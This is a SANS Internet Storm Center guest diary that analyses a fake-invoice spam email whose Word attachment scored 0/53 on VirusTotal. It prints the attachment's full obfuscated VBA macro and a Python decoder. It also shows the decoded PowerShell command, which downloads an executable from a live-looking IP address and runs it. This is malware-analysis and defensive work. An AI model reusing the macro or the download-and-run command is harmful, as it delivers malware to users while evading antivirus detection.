SANS ISC: Guest Diary: Xavier Mertens - Analyzing an MS Word document not detected by AV software - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

[Guest Diary: Xavier Mertens] [Analyzing an MS Word document not detected by AV software]

Like everybody, I'm receiving a lot of spam everyday but... I like it! All unsolicited received messages are stored in a dedicated folder for two purposes:

• An automatic processing via my tool mime2vt (http://blog.rootshell.be/2014/12/15/automatic-mime-parts-scanning-with-virustotal/)
• A manual review at regular interval

This helps me to find new types of spams or new techniques used by attackers to deliver malicious content in our mailboxes. Today, I received an interesting Word document. I'm not sure if it is a very common one but I did a small analysis. The mail was based on a classic fake invoice notification:

From: Ollie Oconnor 
To: xavier
Subject: 49933-Your Latest Documents from RS Components 570009054

The fake invoice was related to rswww.com which is a UK online shop for electronic devices, components and IT related stuffs. The attached Word document was processed by my MIME2VT tool but the VirusTotal score was 0/53(https://www.virustotal.com/en/file/be7a959827ff33ab04195111600efb576eeac11904ef9b666386f56dafd8cfba/analysis/)! Interesting... It was too tempting to make some manual investigations. Using Didier Stevens's tool oledump(http://blog.didierstevens.com/programs/oledump-py/), I extracted the following macro:

$ ./oledump.py /tmp/20150331-A7740189461014146728299-1.doc
1:      113 '\x01CompObj'
2:     4096 '\x05DocumentSummaryInformation'
3:     4096 '\x05SummaryInformation'
4:     4096 '1Table'
5:     4096 'Data'
6:      490 'Macros/PROJECT'
7:       65 'Macros/PROJECTwm'
8: M  11613 'Macros/VBA/Module1'
9: M   1214 'Macros/VBA/ThisDocument'
10:     2932 'Macros/VBA/_VBA_PROJECT'
11:     1165 'Macros/VBA/__SRP_0'
12:       70 'Macros/VBA/__SRP_1'
13:     8430 'Macros/VBA/__SRP_2'
14:      103 'Macros/VBA/__SRP_3'
15:      561 'Macros/VBA/dir'
16:     5684 'WordDocument'
$ ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc
Attribute VB_Name = "Module1"
Sub sdfsdfdsf()
GVhkjbjv = chrw(49.5 + 49.5) & chrw(54.5 + 54.5) & chrw(50 + 50) & chrw(16 + 16) & chrw(23.5 + 23.5) & chrw(37.5 + 37.5) & chrw(16 + 16) & chrw(56 + 56) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(50.5 + 50.5) & chrw(57 + 57) & chrw(57.5 + 57.5) & chrw(52 + 52) & chrw(50.5 + 50.5) & chrw(54 + 54) & chrw(54 + 54) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(22.5 + 22.5) & chrw(34.5 + 34.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58.5 + 58.5) & chrw(58 + 58) & chrw(52.5 + 52.5) & chrw(55.5 + 55.5) & chrw(55 + 55) & chrw(40 + 40) & chrw(55.5 + 55.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(49.5 + 49.5) & chrw(60.5 + 60.5) & chrw(16 + 16) & chrw(49 + 49) & chrw(60.5 + 60.5) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(57.5 + 57.5) & chrw(57.5 + 57.5) & chrw(16 + 16)
GYUUYIiii = chrw(22.5 + 22.5) & chrw(55 + 55) & chrw(55.5 + 55.5) & chrw(56 + 56) & chrw(57 + 57) & chrw(55.5 + 55.5) & chrw(51 + 51) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(20 + 20) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(59.5 + 59.5) & chrw(22.5 + 22.5) & chrw(39.5 + 39.5) & chrw(49 + 49) & chrw(53 + 53) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58 + 58) & chrw(16 + 16) & chrw(41.5 + 41.5) & chrw(60.5 + 60.5) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(50.5 + 50.5) & chrw(54.5 + 54.5) & chrw(23 + 23) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(58 + 58) & chrw(23 + 23) & chrw(43.5 + 43.5) & chrw(50.5 + 50.5) & chrw(49 + 49) & chrw(33.5 + 33.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(50.5 + 50.5) & chrw(55 + 55) & chrw(58 + 58) & chrw(20.5 + 20.5) & chrw(23 + 23)
hgFYyhhshu = chrw(34 + 34) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(55 + 55) & chrw(54 + 54) & chrw(55.5 + 55.5) & chrw(48.5 + 48.5) & chrw(50 + 50) & chrw(35 + 35) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(20 + 20) & chrw(19.5 + 19.5) & chrw(52 + 52) & chrw(58 + 58) & chrw(58 + 58) & chrw(56 + 56) & chrw(29 + 29) & chrw(23.5 + 23.5) & chrw(23.5 + 23.5) & chrw(24.5 + 24.5) & chrw(28 + 28) & chrw(26.5 + 26.5) & chrw(23 + 23) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(24.5 + 24.5) & chrw(26 + 26) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(25 + 25) & chrw(24.5 + 24.5) & chrw(23.5 + 23.5) & chrw(53 + 53) & chrw(57.5 + 57.5) & chrw(48.5 + 48.5) & chrw(60 + 60) & chrw(55.5 + 55.5) & chrw(28 + 28) & chrw(58.5 + 58.5) & chrw(23.5 + 23.5) & chrw(51.5 + 51.5) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(49 + 49) & chrw(25 + 25) & chrw(49.5 + 49.5) & chrw(60 + 60) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(19.5 + 19.5)
GYiuudsuds = chrw(22 + 22) & chrw(19.5 + 19.5) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(19.5 + 19.5) & chrw(20.5 + 20.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(55 + 55) & chrw(50 + 50) & chrw(16 + 16)
shdfihiof = chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23)
doifhsoip = chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(48.5 + 48.5) & chrw(57 + 57) & chrw(58 + 58) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5)
JHGUgisdc = GVhkjbjv + GYUUYIiii + hgFYyhhshu + GYiuudsuds + shdfihiof + doifhsoip
IUGuyguisdf = Shell(JHGUgisdc, 0)
End Sub

The macro is quite simple: a shell command is obfuscated by multiple chrw() functions to generate substrings which are concatenated and passwed to the Shell() function to be executed. Let's write a small python script to decode this. I'm search for all occurences of chrw(), extract the values to create a new string:

#!/usr/bin/python
import re
import sys
data = sys.stdin.read()
r = re.compile('chrw\((\S+) \+ (\S+)\)')
i = re.findall(r, data)
cmd = ""
for match in i:
   cmd = cmd + chr(int(float(match[0]) + float(match[1]))
print cmd

Here is the result:

# ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc | ./decode.py
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.39.149.21/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

The webserver being the IP address 185.39.149.21 (located in Russia) is down at the moment... I'm keeping an eye on it...

-- 
Alex Stanford - GIAC GWEB & GSEC,
Research Operations Manager,
SANS Internet Storm Center
/in/alexstanford